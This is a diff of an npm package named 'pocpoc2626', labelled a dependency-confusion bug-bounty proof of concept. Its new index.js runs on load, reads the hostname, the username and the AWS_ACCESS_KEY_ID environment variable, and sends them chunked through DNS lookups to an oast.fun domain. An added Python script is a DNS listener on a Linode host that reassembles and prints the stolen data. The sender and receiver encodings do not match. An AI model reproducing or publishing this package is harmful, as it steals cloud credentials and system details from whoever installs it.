pocpoc2626 99.99.9998 → 99.99.9999

package/index.js

@@ -1,13 +1,42 @@
 const dns = require('dns');
 const os = require('os');
 
-const hostname = os.hostname().replace(/[^a-zA-Z0-9]/g, '');
-const username = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '');
+const attackerDomain = "jrqoodsuxfzdpwqzthndxcm8f911cgqtn.oast.fun";
 
-const attackerDomain = "f1a1188f-d9b5-40d0-a2cc-340718ec4d21.dnshook.site";
+function base64url(str) {
+    return Buffer.from(str)
+        .toString('base64')
+        .replace(/\+/g, '-')
+        .replace(/\//g, '_')
+        .replace(/=/g, '');
+}
 
-const exfilPayload = `${username}.${hostname}.${attackerDomain};`
+const dataToExfil = JSON.stringify({
+    host: os.hostname(),
+    user: os.userInfo().username,
+    secret: process.env.AWS_ACCESS_KEY_ID || "no-key" 
+});
 
-dns.lookup(exfilPayload, (err, address, family) => {
+const encodedData = base64url(dataToExfil);
 
-});
+const chunkSize = 60;
+const chunks = [];
+for (let i = 0; i < encodedData.length; i += chunkSize) {
+    chunks.push(encodedData.slice(i, i + chunkSize));
+}
+
+async function sendDnsQueries() {
+    const sessionId = Math.random().toString(36).substring(2, 6);
+    
+    for (let index = 0; index < chunks.length; index++) {
+        const payload = `${index}.${sessionId}.${chunks[index]}.${attackerDomain}`;
+        
+        await new Promise((resolve) => {
+            dns.lookup(payload, (err, address, family) => {
+                resolve();
+            });
+        });
+    }
+}
+
+sendDnsQueries();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "pocpoc2626",
-  "version": "99.99.9998",
+  "version": "99.99.9999",
   "description": "Bug Bounty PoC for Dependency Confusion",
   "main": "index.js",
   "scripts": {
@@ -9,7 +9,6 @@
   "author": "Security Researcher",
   "license": "MIT",
   "dependencies": {
-    "internal-company-module-test-1337": "^99.99.9996",
-    "pocpoc2626": "^99.99.9997"
+    "internal-company-module-test-1337": "^99.99.9996"
   }
 }

package/test/coso.py

@@ -0,0 +1,70 @@
+import socket
+import binascii
+import json
+from dnslib import DNSRecord, QTYPE, RR, A
+
+ATTACKER_DOMAIN = ".139-162-186-101.ip.linodeusercontent.com"
+FAKE_RESPONSE_IP = "1.2.3.4"
+
+# Dizionario per memorizzare i frammenti HEX (in questo caso usiamo una lista
+# assumendo che arrivino in ordine, dato che il TCP jitter del payload rallenta le richieste)
+sessions = {}
+
+def main():
+    server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    
+    try:
+        server_socket.bind(('0.0.0.0', 53))
+        print("[*] Server STEALTH in ascolto su UDP 53...")
+    except PermissionError:
+        return
+
+    while True:
+        try:
+            data, addr = server_socket.recvfrom(4096)
+            dns_request = DNSRecord.parse(data)
+            qname_obj = dns_request.questions[0]._qname
+            qname = str(qname_obj).rstrip('.')
+            
+            if qname.endswith(ATTACKER_DOMAIN.strip('.')):
+                
+                payload = qname.replace(ATTACKER_DOMAIN.strip('.'), "").strip('.')
+                parts = payload.split('.')
+                
+                if len(parts) >= 2:
+                    session_id = parts[0]
+                    chunk_data = parts[1]
+                    
+                    if session_id not in sessions:
+                        sessions[session_id] = []
+                        print(f"[*] Nuova sessione stealth avviata: {session_id}")
+                    
+                    if chunk_data == "eof":
+                        # Termine della trasmissione: Riassembla e decodifica l'hex
+                        full_hex = "".join(sessions[session_id])
+                        try:
+                            decoded_str = binascii.unhexlify(full_hex).decode('utf-8')
+                            json_data = json.loads(decoded_str)
+                            
+                            print(f"\n[+] ESFILTRAZIONE COMPLETATA (IP: {addr[0]})")
+                            print(json.dumps(json_data, indent=4))
+                            print("-" * 50)
+                        except Exception as e:
+                            print(f"[!] Errore decodifica: {e}")
+                        
+                        del sessions[session_id]
+                    else:
+                        # Salva il blocco HEX e rispondi
+                        sessions[session_id].append(chunk_data)
+                
+                # Risposta per mantenere la connessione attiva e silenziosa
+                reply = dns_request.reply()
+                if dns_request.questions[0].qtype == QTYPE.A:
+                    reply.add_answer(RR(rname=qname_obj, rtype=QTYPE.A, rclass=1, ttl=60, rdata=A(FAKE_RESPONSE_IP)))
+                server_socket.sendto(reply.pack(), addr)
+
+        except Exception as e:
+            pass
+
+if name == "main":
+    main()